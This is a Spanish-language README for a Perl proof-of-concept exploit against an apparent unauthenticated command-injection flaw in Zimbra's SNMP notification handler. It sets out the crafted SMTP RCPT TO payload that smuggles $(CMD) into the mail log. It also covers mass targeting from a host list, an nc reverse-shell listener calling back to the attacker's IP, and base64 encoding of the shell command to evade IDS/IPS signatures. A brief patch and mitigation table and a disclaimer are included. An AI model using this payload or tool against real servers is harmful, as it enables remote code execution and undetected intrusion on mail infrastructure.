
Zimbra SNMP Notification Inyección de Comandos del Sistema Operativo — RCE no autenticado mediante exploit SMTP (PoC)
Ejecución remota de código no autenticada mediante inyección de comandos del sistema operativo en el gestor de notificaciones SNMP de Zimbra Collaboration Suite.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 ALTA — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo |
| Afecta a | Zimbra ZCS < 10.1.20 (con zimbra-snmp instalado) |
| Corregido en | ZCS 10.1.20 — julio de 2026 |
| CISA KEV | Añadido el 2026-08-21 (fecha límite de remediación para FCEB: 2026-08-24) |
| Autenticación requerida | Ninguna |
| Ejecución como | Usuario del sistema operativo zimbra |
El paquete opcional zimbra-snmp incluye una regla de swatchdog que monitoriza /var/log/zimbra.log en busca de líneas que coincidan con:
Service status change: <NAME> changed from <STATE> to <STATE>
Cuando se encuentra una coincidencia, swatchdog pasa el campo <NAME> capturado directamente al script de shell de notificación SNMP sin ningún tipo de saneamiento.
Un atacante no autenticado puede inyectar una entrada de registro manipulada enviando un comando SMTP RCPT TO especialmente formado. Utilizando una parte local entrecomillada según RFC 5321, los metacaracteres de shell —por ejemplo, $(...)— se incrustan dentro de <NAME> y se ejecutan cuando swatchdog procesa la línea de registro resultante.
Las tres condiciones deben cumplirse en el objetivo para que la vulnerabilidad sea explotable:
zimbra-snmp está instaladosnmp_notify = true)swatchdog está en ejecuciónAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO armamentizado.swatchdog coincide con el patrón del registro y extrae el $(CMD) inyectado.CMD como el usuario del sistema operativo zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
o mediante apt-get
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
o mediante yum
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — un host por línea, :port opcional, las líneas que comienzan con # se ignoran:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| Flag | Long | Default | Description |
|---|---|---|---|
-H | --host | — | Nombre de host o IP de destino único |
-f | --file | — | Archivo que contiene la lista de objetivos |
-p | --port | 587 | Puerto SMTP predeterminado |
-r | --rhost | — | Tu IP para la callback del reverse shell |
-R | --rport | 4444 | Puerto del listener |
-t | --timeout | 15 | Tiempo de espera del socket en segundos |
-S | --ssl | off | TLS directo (habilitado automáticamente en el puerto 465) |
-v | --verbose | off | Mostrar el diálogo SMTP completo |
-L | --logfile | — | Escribir el registro de la sesión en un archivo |
-h | --help | — | Mostrar ayuda |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
El comando de reverse shell se codifica en base64 antes de la inyección:
echo <b64>|base64 -d|bash
Esto evita que IDS/IPS detecten firmas en texto plano como /dev/tcp, bash -i o nc -e. El blob codificado se inyecta como $(...) dentro de la parte local entre comillas de RCPT TO, lo que desencadena la ejecución en el lado del servidor cuando swatchdog procesa la entrada del registro.
| Acción | Detalle |
|---|---|
| Parche | Actualizar a Zimbra ZCS ≥ 10.1.20 |
| Deshabilitar la notificación SNMP | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Eliminar el paquete | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Controles de red | Restringir el SMTP entrante (25/465/587) a retransmisores de confianza cuando sea operativamente viable |
Esta prueba de concepto se publica únicamente para pruebas de seguridad autorizadas, investigación académica y fines defensivos.
Ejecutarla contra sistemas que no son de su propiedad o para los que no cuenta con permiso escrito explícito para realizar pruebas es ilegal.
El autor no asume ninguna responsabilidad por cualquier uso indebido o daño causado por esta herramienta.